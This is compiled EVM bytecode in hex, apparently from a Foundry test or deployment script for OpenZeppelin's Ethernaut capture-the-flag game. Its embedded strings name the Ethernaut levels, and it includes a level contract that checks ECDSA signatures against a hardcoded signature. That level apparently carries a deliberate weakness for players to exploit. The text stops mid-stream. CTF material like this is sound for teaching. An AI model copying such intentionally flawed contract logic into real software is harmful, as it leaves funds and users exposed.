0000000000000000081526004810183905260248101829052737109709ecfa91a80626ff3989d68f67f5b1dd12d906398296c54906044015b5f6040518083038186803b158015611e66575f80fd5b505afa1580156107ac573d5f803e3d5ffd5b6040517f515361f60000000000000000000000000000000000000000000000000000000081526001600160a01b03808416600483015282166024820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063515361f690604401611e50565b6040517fa59828850000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063a598288590602401611dd4565b61132e806127f483390190565b610ae180613b2283390190565b611e7a8061460383390190565b610d728061647d83390190565b6001600160a01b0381168114611b47575f80fd5b5f805f60608486031215611f85575f80fd5b8335611f9081611f5f565b92506020840135611fa081611f5f565b929592945050506040919091013590565b602080825282518282018190525f918401906040840190835b81811015611ff15783516001600160a01b0316835260209384019390920191600101611fca565b509095945050505050565b634e487b7160e01b5f52604160045260245ffd5b6040516060810167ffffffffffffffff8111828210171561203357612033611ffc565b60405290565b604051601f8201601f1916810167ffffffffffffffff8111828210171561206257612062611ffc565b604052919050565b5f67ffffffffffffffff82111561208357612083611ffc565b50601f01601f191660200190565b5f602082840312156120a1575f80fd5b813567ffffffffffffffff8111156120b7575f80fd5b8201601f810184136120c7575f80fd5b80356120da6120d58261206a565b612039565b8181528560208385010111156120ee575f80fd5b816020840160208301375f91810160200191909152949350505050565b5f5b8381101561212557818101518382015260200161210d565b50505f910152565b5f815180845261214481602086016020860161210b565b601f01601f19169290920160200192915050565b5f602082016020835280845180835260408501915060408160051b8601019250602086015f5b8281101561221557603f19878603018452815180516001600160a01b03168652602090810151604082880181905281519088018190529101906060600582901b8801810191908801905f5b818110156121fb57605f198a85030183526121e584865161212d565b60209586019590945092909201916001016121c9565b50919750505060209485019492909201915060010161217e565b50929695505050505050565b5f602082016020835280845180835260408501915060408160051b8601019250602086015f5b8281101561221557868503603f19018452815180516001600160a01b03168652602090810151604082880181905281519088018190529101905f9060608801905b808310156122cd577fffffffff000000000000000000000000000000000000000000000000000000008451168252602082019150602084019350600183019250612288565b50965050506020938401939190910190600101612247565b5f602082840312156122f5575f80fd5b5035919050565b5f602082016020835280845180835260408501915060408160051b8601019250602086015f5b8281101561221557603f1987860301845261233e85835161212d565b94506020938401939190910190600101612322565b5f60208284031215612363575f80fd5b8135611d7f81611f5f565b5f806040838503121561237f575f80fd5b823561238a81611f5f565b9150602083013561239a81611f5f565b809150509250929050565b634e487b7160e01b5f52603260045260245ffd5b5f602082840312156123c9575f80fd5b8151611d7f81611f5f565b5f67ffffffffffffffff8211156123ed576123ed611ffc565b5060051b60200190565b5f6124046120d58461206a565b9050828152838383011115612417575f80fd5b611d7f83602083018461210b565b5f82601f830112612434575f80fd5b611d7f838351602085016123f7565b805161244e81611f5f565b919050565b5f60208284031215612463575f80fd5b815167ffffffffffffffff811115612479575f80fd5b8201601f81018413612489575f80fd5b80516124976120d5826123d4565b8082825260208201915060208360051b8501019250868311156124b8575f80fd5b602084015b838110156125c957805167ffffffffffffffff8111156124db575f80fd5b85016060818a03601f190112156124f0575f80fd5b6124f8612010565b602082015167ffffffffffffffff811115612511575f80fd5b82016020810190603f018b13612525575f80fd5b80516125336120d5826123d4565b8082825260208201915060208360051b85010192508d831115612554575f80fd5b6020840193505b8284101561257657835182526020938401939091019061255b565b8452505050604082015167ffffffffffffffff811115612594575f80fd5b6125a38b602083860101612425565b6020830152506125b560608301612443565b6040820152845250602092830192016124bd565b509695505050505050565b634e487b7160e01b5f52601160045260245ffd5b81810381811115611890576118906125d4565b5f6020828403121561260b575f80fd5b815167ffffffffffffffff811115612621575f80fd5b8201601f81018413612631575f80fd5b612640848251602084016123f7565b949350505050565b7f2f6f75742f00000000000000000000000000000000000000000000000000000081525f835161267f81600585016020880161210b565b7f2e736f6c2f00000000000000000000000000000000000000000000000000000060059184019182015283516126bc81600a84016020880161210b565b7f2e6a736f6e000000000000000000000000000000000000000000000000000000600a9290910191820152600f01949350505050565b5f835161270381846020880161210b565b83519083019061271781836020880161210b565b01949350505050565b602081525f611d7f602083018461212d565b600181811c9082168061274657607f821691505b60208210810361276457634e487b7160e01b5f52602260045260245ffd5b50919050565b5f6020828403121561277a575f80fd5b5051919050565b80820180821115611890576118906125d4565b604081525f6127a6604083018561212d565b82810360208401526127b8818561212d565b95945050505050565b5f602082840312156127d1575f80fd5b815167ffffffffffffffff8111156127e7575f80fd5b6126408482850161242556fe6080604052348015600e575f80fd5b50601633601a565b6069565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6112b8806100765f395ff3fe608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b146100ed575f80fd5b8063715018a61461005c5780637726f77614610072575b5f80fd5b348015610067575f80fd5b5061007061010c565b005b6100856100803660046104c4565b61011f565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f80fd5b505f546001600160a01b0316610085565b3480156100c9575f80fd5b506100dd6100d83660046104e6565b610249565b6040519015158152602001610099565b3480156100f8575f80fd5b506100706101073660046104c4565b61034e565b6101146103e3565b61011d5f61043c565b565b5f80610538604051610130906104a3565b908152602001604051809103905ff08015801561014f573d5f803e3d5ffd5b5090505f60405180606001604052807f1932cb842d3e27f54f79f7be0289437381ba2410fdefbae36850bee9c41e3b9181526020017f78489c64a0db16c40ef986beccc8f069ad5041e5b992d76fe76bba057d9abff28152602001601b8152506040516020016101bf919061051d565b60408051601f19818403018152908290527f61a423b100000000000000000000000000000000000000000000000000000000825291506001600160a01b038316906361a423b19061021490849060040161054d565b5f604051808303815f87803b15801561022b575f80fd5b505af115801561023d573d5f803e3d5ffd5b50939695505050505050565b6040517f809aab920000000000000000000000000000000000000000000000000000000081525f6004820181905290839082906001600160a01b0383169063809aab9290602401602060405180830381865afa1580156102ab573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906102cf9190610598565b9050836001600160a01b0316816001600160a01b031663f77c47916040518163ffffffff1660e01b8152600401602060405180830381865afa158015610317573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061033b9190610598565b6001600160a01b03161495945050505050565b6103566103e3565b6001600160a01b0381166103d75760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b6103e08161043c565b50565b5f546001600160a01b0316331461011d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103ce565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610ccf806105b483390190565b6001600160a01b03811681146103e0575f80fd5b5f602082840312156104d4575f80fd5b81356104df816104b0565b9392505050565b5f80604083850312156104f7575f80fd5b8235610502816104b0565b91506020830135610512816104b0565b809150509250929050565b6060810181835f5b6003811015610544578151835260209283019290910190600101610525565b50505092915050565b602081525f82518060208401525f5b81811015610579576020818601810151604086840101520161055c565b505f604082850101526040601f19601f83011684010191505092915050565b5f602082840312156105a8575f80fd5b81516104df816104b056fe6080604052348015600e575f80fd5b50604051610ccf380380610ccf833981016040819052602b916088565b6032336039565b600155609e565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b5f602082840312156097575f80fd5b5051919050565b610c24806100ab5f395ff3fe608060405234801561000f575f80fd5b506004361061006f575f3560e01c80638da5cb5b1161004d5780638da5cb5b146100c05780638db564c2146100d0578063f2fde38b146100e7575f80fd5b806361a423b114610073578063715018a614610088578063809aab9214610090575b5f80fd5b61008661008136600461038d565b6100fa565b005b6100866101e7565b6100a361009e366004610440565b6101fa565b6040516001600160a01b0390911681526020015b60405180910390f35b5f546001600160a01b03166100a3565b6100d960015481565b6040519081526020016100b7565b6100866100f5366004610457565b610222565b6101026102b7565b5f60015f815461011190610484565b919050819055826040516101249061036c565b61012f9291906104a8565b604051809103905ff080158015610148573d5f803e3d5ffd5b5060028054600180820183555f929092527f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace01805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03841690811790915590546040805191825242602083015292935090917f7879fe07a34927cf93a00574a8c2e55740a44179eb359ed6850e486df16c5222910160405180910390a25050565b6101ef6102b7565b6101f85f610310565b565b60028181548110610209575f80fd5b5f918252602090912001546001600160a01b0316905081565b61022a6102b7565b6001600160a01b0381166102ab5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b6102b481610310565b50565b5f546001600160a01b031633146101f85760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016102a2565b5f80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6106f4806104fb83390190565b634e487b7160e01b5f52604160045260245ffd5b5f6020828403121561039d575f80fd5b813567ffffffffffffffff8111156103b3575f80fd5b8201601f810184136103c3575f80fd5b803567ffffffffffffffff8111156103dd576103dd610379565b604051601f8201601f19908116603f0116810167ffffffffffffffff8111828210171561040c5761040c610379565b604052818152828201602001861015610423575f80fd5b816020840160208301375f91810160200191909152949350505050565b5f60208284031215610450575f80fd5b5035919050565b5f60208284031215610467575f80fd5b81356001600160a01b038116811461047d575f80fd5b9392505050565b5f600182016104a157634e487b7160e01b5f52601160045260245ffd5b5060010190565b828152604060208201525f82518060408401525f5b818110156104da57602081860181015160608684010152016104bd565b505f606082850101526060601f19601f830116840101915050939250505056fe60c060405234801561000f575f80fd5b506040516106f43803806106f483398101604081905261002e91610142565b60808281527f19457468657265756d205369676e6564204d6573736167653a0a3332000000005f908152601c849052603c812060a0819052604080518281526060868101516020838101919091528781015183850152928701519082015291936001939083855afa503d6100a957638baa579f5f526004601cfd5b5f805160808301604081815287516020808a01919091208552600190819052908420805460ff1916909117905582546001600160a01b0319166001600160a01b0383169081179093554290529250907f53b18c96aa52ab0b62231a748985fe77b5db7c4c758d0b398e220117ca69dfe19060a00160405180910390a250505050610212565b634e487b7160e01b5f52604160045260245ffd5b5f8060408385031215610153575f80fd5b825160208401519092506001600160401b03811115610170575f80fd5b8301601f81018513610180575f80fd5b80516001600160401b038111156101995761019961012e565b604051601f8201601f19908116603f011681016001600160401b03811182821017156101c7576101c761012e565b6040528181528282016020018710156101de575f80fd5b5f5b828110156101fc576020818501810151838301820152016101e0565b505f602083830101528093505050509250929050565b60805160a0516104bc6102385f395f818160da015261024301525f60a001526104bc5ff3fe608060405234801561000f575f80fd5b506004361061006f575f3560e01c8063e4e6cf4f1161004d578063e4e6cf4f146100d5578063f77c4791146100fc578063f978fd6114610126575f80fd5b8063259aa240146100735780633e8cd5701461008857806366fa19321461009b575b5f80fd5b6100866100813660046103bf565b610158565b005b6100866100963660046103ef565b6101af565b6100c27f000000000000000000000000000000000000000000000000000000000000000081565b6040519081526020015b60405180910390f35b6100c27f000000000000000000000000000000000000000000000000000000000000000081565b5f5461010e906001600160a01b031681565b6040516001600160a01b0390911681526020016100cc565b61014861013436600461043f565b60016020525f908152604090205460ff1681565b60405190151581526020016100cc565b5f610164848484610232565b9050806001600160a01b03167f50042401acb675fedd6dd939fccc629832ce60fa4185df25c01b20e8def195bf426040516101a191815260200190565b60405180910390a250505050565b5f6101bb858585610232565b5f80547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b03858116919091179091556040514281529192508216907f8cf1cbc25758c16f47e27029c8104e5be712c49e9baaf12c1fd697a91b4316809060200160405180910390a25050505050565b604080515f808252602082018084527f0000000000000000000000000000000000000000000000000000000000000000905260ff8616928201929092526060810184905260808101839052819060019060a0016020604051602081039080840390855afa1580156102a5573d5f803e3d5ffd5b5050604051601f1901515f549092506001600160a01b0380841691161490506102fa576040517f6d5769be00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b60408051606081018252858152602080820186905260ff88168284015291515f92610326929101610456565b60408051601f1981840301815291815281516020928301205f818152600190935291205490915060ff1615610387576040517f900bb2c900000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b5f908152600160208190526040909120805460ff19169091179055949350505050565b803560ff811681146103ba575f80fd5b919050565b5f805f606084860312156103d1575f80fd5b6103da846103aa565b95602085013595506040909401359392505050565b5f805f8060808587031215610402575f80fd5b61040b856103aa565b9350602085013592506040850135915060608501356001600160a01b0381168114610434575f80fd5b939692955090935050565b5f6020828403121561044f575f80fd5b5035919050565b6060810181835f5b600381101561047d57815183526020928301929091019060010161045e565b5050509291505056fea264697066735822122031023534388f4028bb8596e6318fd1ce6ff5bcdbc591bb7dad7b731bbc1b5ae764736f6c634300081a0033a2646970667358221220efbd8d8c9bb79395a8e543dc1a7127835ade14d2b4c46e6d3a53970ffc4678f164736f6c634300081a0033a2646970667358221220133a9da281d58695cd7ff4f60b630052afc289a49d4af4ec910e589282b42fcd64736f6c634300081a00336080604052348015600e575f80fd5b50601633601a565b6069565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610a6b806100765f395ff3fe6080604052600436106100ad575f3560e01c8063be117dfd11610066578063cf0046951161004c578063cf004695146101eb578063dfc86b1714610229578063f2fde38b1461023c575f80fd5b8063be117dfd146101ad578063c882d7c2146101cc575f80fd5b8063715018a611610096578063715018a61461014a5780638da5cb5b1461015e57806395e272bd1461018e575f80fd5b8063202023d4146100b15780634f17afd8146100d2575b5f80fd5b3480156100bc575f80fd5b506100d06100cb3660046109d9565b61025b565b005b3480156100dd575f80fd5b5061011d6100ec3660046109d9565b60036020525f9081526040902080546001909101546001600160a01b0391821691811690600160a01b900460ff1683565b604080516001600160a01b0394851681529390921660208401521515908201526060015b60405180910390f35b348015610155575f80fd5b506100d06102f6565b348015610169575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610141565b348015610199575f80fd5b50600154610176906001600160a01b031681565b3480156101b8575f80fd5b506100d06101c73660046109d9565b610309565b3480156101d7575f80fd5b506100d06101e63660046109d9565b610340565b3480156101f6575f80fd5b506102196102053660046109d9565b60026020525f908152604090205460ff1681565b6040519015158152602001610141565b6100d06102373660046109d9565b610642565b348015610247575f80fd5b506100d06102563660046109d9565b610880565b610263610910565b6001600160a01b038181165f8181526002602052604090819020805460ff191660019081179091555490517fcd819a6f00000000000000000000000000000000000000000000000000000000815260048101929092529091169063cd819a6f906024015f604051808303815f87803b1580156102dd575f80fd5b505af11580156102ef573d5f803e3d5ffd5b5050505050565b6102fe610910565b6103075f610969565b565b610311610910565b6001805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6001600160a01b038082165f908152600360205260409020805490911633146103d65760405162461bcd60e51b815260206004820152603060248201527f5468697320696e7374616e636520646f65736e27742062656c6f6e6720746f2060448201527f7468652063757272656e7420757365720000000000000000000000000000000060648201526084015b60405180910390fd5b6001810154600160a01b900460ff16156104325760405162461bcd60e51b815260206004820181905260248201527f4c6576656c20686173206265656e20636f6d706c6574656420616c726561647960448201526064016103cd565b60018101546040517fd38def5b0000000000000000000000000000000000000000000000000000000081526001600160a01b0384811660048301523360248301529091169063d38def5b906044016020604051808303815f875af115801561049c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104c091906109fb565b156105b95760018181018054600160a01b7fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff82161790915590546040517f2c038c320000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301529283166024820152336044820152911690632c038c32906064015f604051808303815f87803b158015610561575f80fd5b505af1158015610573573d5f803e3d5ffd5b5050505060018101546040516001600160a01b039182169184169033907f5038a30b900118d4e513ba62ebd647a96726a6f81b8fda73c21e9da45df5423d905f90a45050565b60018054908201546040517fd0f191e00000000000000000000000000000000000000000000000000000000081526001600160a01b038581166004830152918216602482015233604482015291169063d0f191e0906064015f604051808303815f87803b158015610628575f80fd5b505af115801561063a573d5f803e3d5ffd5b505050505050565b6001600160a01b0381165f9081526002602052604090205460ff166106a95760405162461bcd60e51b815260206004820152601960248201527f54686973206c6576656c20646f65736e2774206578697374730000000000000060448201526064016103cd565b6040517f7726f7760000000000000000000000000000000000000000000000000000000081523360048201525f906001600160a01b03831690637726f77690349060240160206040518083038185885af1158015610709573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061072e9190610a1a565b60408051606081018252338082526001600160a01b0386811660208085018281525f8688018181528986168083526003909452908890209651875473ffffffffffffffffffffffffffffffffffffffff191690861617875590516001968701805492519186167fffffffffffffffffffffff00000000000000000000000000000000000000000090931692909217600160a01b91151591909102179055935494517f7e4326d3000000000000000000000000000000000000000000000000000000008152600481019490945260248401526044830191909152929350911690637e4326d3906064015f604051808303815f87803b15801561082d575f80fd5b505af115801561083f573d5f803e3d5ffd5b50506040516001600160a01b0380861693508416915033907f8be8bd7b4324b3d47aca5c3f64cb70e8f645e6fe94da668699951658f6384179905f90a45050565b610888610910565b6001600160a01b0381166109045760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016103cd565b61090d81610969565b50565b5f546001600160a01b031633146103075760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103cd565b5f80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038116811461090d575f80fd5b5f602082840312156109e9575f80fd5b81356109f4816109c5565b9392505050565b5f60208284031215610a0b575f80fd5b815180151581146109f4575f80fd5b5f60208284031215610a2a575f80fd5b81516109f4816109c556fea264697066735822122080c8e4423ac5e16f2a821e6d47dab5b4d12b1ab3729b1578156826c548432e7064736f6c634300081a00336080604052348015600e575f80fd5b50611e5e8061001c5f395ff3fe608060405234801561000f575f80fd5b50600436106101bb575f3560e01c80639cbf280d116100f3578063d0f191e011610093578063e2d8716f1161006e578063e2d8716f146103ca578063f3a39909146103dd578063f71d96cb14610408578063fb66d7ab1461041b575f80fd5b8063d0f191e014610391578063d844f6a4146103a4578063e041ae9b146103b7575f80fd5b8063ba5d8082116100ce578063ba5d80821461031d578063bc3086a214610358578063c4d66de81461036b578063cd819a6f1461037e575f80fd5b80639cbf280d146102c7578063a7e1acdf146102da578063b2596a671461030a575f80fd5b80637cbe8d041161015e5780637e4326d3116101395780637e4326d3146102865780638b146ad6146102995780638dc03535146102ac578063900f09ac146102bf575f80fd5b80637cbe8d041461026e5780637ceb9533146102765780637e0ca04f1461027e575f80fd5b80633aa46685116101995780633aa466851461020d5780633d9aeaef14610235578063763fdb45146102485780637a9b6dda1461025b575f80fd5b806322ae77ec146101bf5780632c038c32146101e557806336204198146101fa575b5f80fd5b6101d26101cd366004611cab565b610423565b6040519081526020015b60405180910390f35b6101f86101f3366004611cdc565b61054f565b005b6101d2610208366004611d1c565b6109b1565b6101d261021b366004611d1c565b6001600160a01b03165f9081526010602052604090205490565b6101d2610243366004611d1c565b610a2d565b6101d2610256366004611d1c565b610aab565b6101d2610269366004611d1c565b610b27565b6003546101d2565b6005546101d2565b6002546101d2565b6101f8610294366004611cdc565b610ba3565b6101d26102a7366004611d1c565b610f29565b6101d26102ba366004611cab565b610fa5565b6004546101d2565b6101d26102d5366004611d1c565b611125565b5f546102f2906201000090046001600160a01b031681565b6040516001600160a01b0390911681526020016101dc565b6102f2610318366004611d35565b6111a0565b61034861032b366004611d1c565b6001600160a01b03165f908152600e602052604090205460ff1690565b60405190151581526020016101dc565b6101d2610366366004611d1c565b6111c8565b6101f8610379366004611d1c565b611257565b6101f861038c366004611d1c565b6113a1565b6101f861039f366004611cdc565b6114f0565b6101d26103b2366004611d4c565b61183e565b6101d26103c5366004611d1c565b6119c6565b6103486103d8366004611cab565b611a44565b6103486103eb366004611d1c565b6001600160a01b03165f908152600f602052604090205460ff1690565b6102f2610416366004611d35565b611b3f565b6001546101d2565b6001600160a01b0381165f908152600e6020526040812054829060ff166104885760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b60448201526064015b60405180910390fd5b836104aa816001600160a01b03165f908152600f602052604090205460ff1690565b6104ec5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038481165f908152600d6020908152604080832089851684529091529020541661051d575f610546565b6001600160a01b038085165f908152600d60209081526040808320938916835292905220600301545b95945050505050565b5f546201000090046001600160a01b031633146105bc5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b816105de816001600160a01b03165f908152600f602052604090205460ff1690565b6106205760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b81610642816001600160a01b03165f908152600e602052604090205460ff1690565b6106855760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166107065760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146107905760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff161561080c5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600c6020908152604080832093881683529290529081205490036108df576001600160a01b0383165f90815260066020526040812080549161085c83611d9a565b90915550506001600160a01b038084165f818152600c602090815260408083209489168352938152838220429055918152600690915290812054906108a2858784611b4e565b90508181866001600160a01b03167f18f89fb58208351d054bc0794e723a333ae0a74acd73825a9f31d89af0c6755160405160405180910390a450505b6001600160a01b038084165f908152600d6020908152604080832093881680845293825280832060038101805460018181018355918652848620429101819055600283015594845280547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff16600160a01b179055600a909152812090910180549161096983611d9a565b909155505060048054905f61097d83611d9a565b90915550506001600160a01b0383165f9081526008602052604081208054916109a583611d9a565b91905055505050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610a115760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526006602052604090205490565b6001600160a01b0381165f908152600f6020526040812054829060ff16610a8c5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206001015490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b0b5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526008602052604090205490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b875760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526009602052604090205490565b5f546201000090046001600160a01b03163314610c105760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b81610c32816001600160a01b03165f908152600f602052604090205460ff1690565b610c745760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b0382165f908152600e602052604090205460ff16610d00576001805480820182557fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf601805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0385169081179091555f908152600e60205260409020805460ff191690911790555b6001600160a01b038281165f908152600d60209081526040808320878516845290915290205416610d53576001600160a01b038083165f908152600b602090815260408083209387168352929052204290555b6040805160a0810182526001600160a01b0380871682525f60208084018290524284860152606084018290528683168252600d815284822092881682529190915291822060030154909160808301919003610dbb57604080515f815260208101909152610e2b565b6001600160a01b038085165f908152600d6020908152604080832093891683529281529082902060030180548351818402810184019094528084529091830182828015610e2557602002820191905f5260205f20905b815481526020019060010190808311610e11575b50505050505b90526001600160a01b038084165f908152600d60209081526040808320888516845282529182902084518154868401511515600160a01b027fffffffffffffffffffffff00000000000000000000000000000000000000000090911691909516179390931783559083015160018301556060830151600283015560808301518051610ebc9260038501920190611c33565b5050506001600160a01b0383165f908152600a60205260408120805491610ee283611d9a565b909155505060038054905f610ef683611d9a565b90915550506001600160a01b0382165f908152600760205260408120805491610f1e83611d9a565b919050555050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610f895760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526007602052604090205490565b6001600160a01b0382165f908152600e6020526040812054839060ff166110055760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b82611027816001600160a01b03165f908152600f602052604090205460ff1690565b6110695760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038086165f908152600c6020908152604080832093881683529290529081205490036110de5760405162461bcd60e51b815260206004820152601360248201527f4c6576656c206e6f7420636f6d706c6574656400000000000000000000000000604482015260640161047f565b6001600160a01b038086165f818152600b6020908152604080832094891680845294825280832054938352600c825280832094835293905291909120546105469190611db2565b6001600160a01b0381165f908152600f6020526040812054829060ff166111845760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090205490565b600281815481106111af575f80fd5b5f918252602090912001546001600160a01b0316905081565b6001600160a01b0381165f908152600e6020526040812054829060ff166112285760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b600254611234846109b1565b61124690670de0b6b3a7640000611dcb565b6112509190611de2565b9392505050565b5f54610100900460ff161580801561127557505f54600160ff909116105b8061128e5750303b15801561128e57505f5460ff166001145b6113005760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201527f647920696e697469616c697a6564000000000000000000000000000000000000606482015260840161047f565b5f805460ff191660011790558015611321575f805461ff0019166101001790555b5f80547fffffffffffffffffffff0000000000000000000000000000000000000000ffff16620100006001600160a01b03851602179055801561139d575f805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050565b806113c3816001600160a01b03165f908152600f602052604090205460ff1690565b156114105760405162461bcd60e51b815260206004820152601460248201527f4c6576656c20616c726561647920657869737473000000000000000000000000604482015260640161047f565b5f546201000090046001600160a01b0316331461147d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b506001600160a01b03165f818152600f60205260408120805460ff191660019081179091556002805491820181559091527f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace01805473ffffffffffffffffffffffffffffffffffffffff19169091179055565b5f546201000090046001600160a01b0316331461155d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b8161157f816001600160a01b03165f908152600f602052604090205460ff1690565b6115c15760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b816115e3816001600160a01b03165f908152600e602052604090205460ff1690565b6116265760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166116a75760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146117315760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff16156117ad5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600d60209081526040808320938816808452938252808320600301805460018101825590845282842042910155928252600a905290812060020180549161180283611d9a565b909155505060058054905f61181683611d9a565b90915550506001600160a01b0383165f9081526009602052604081208054916109a583611d9a565b6001600160a01b0383165f908152600e6020526040812054849060ff1661189e5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b836118c0816001600160a01b03165f908152600f602052604090205460ff1690565b6119025760405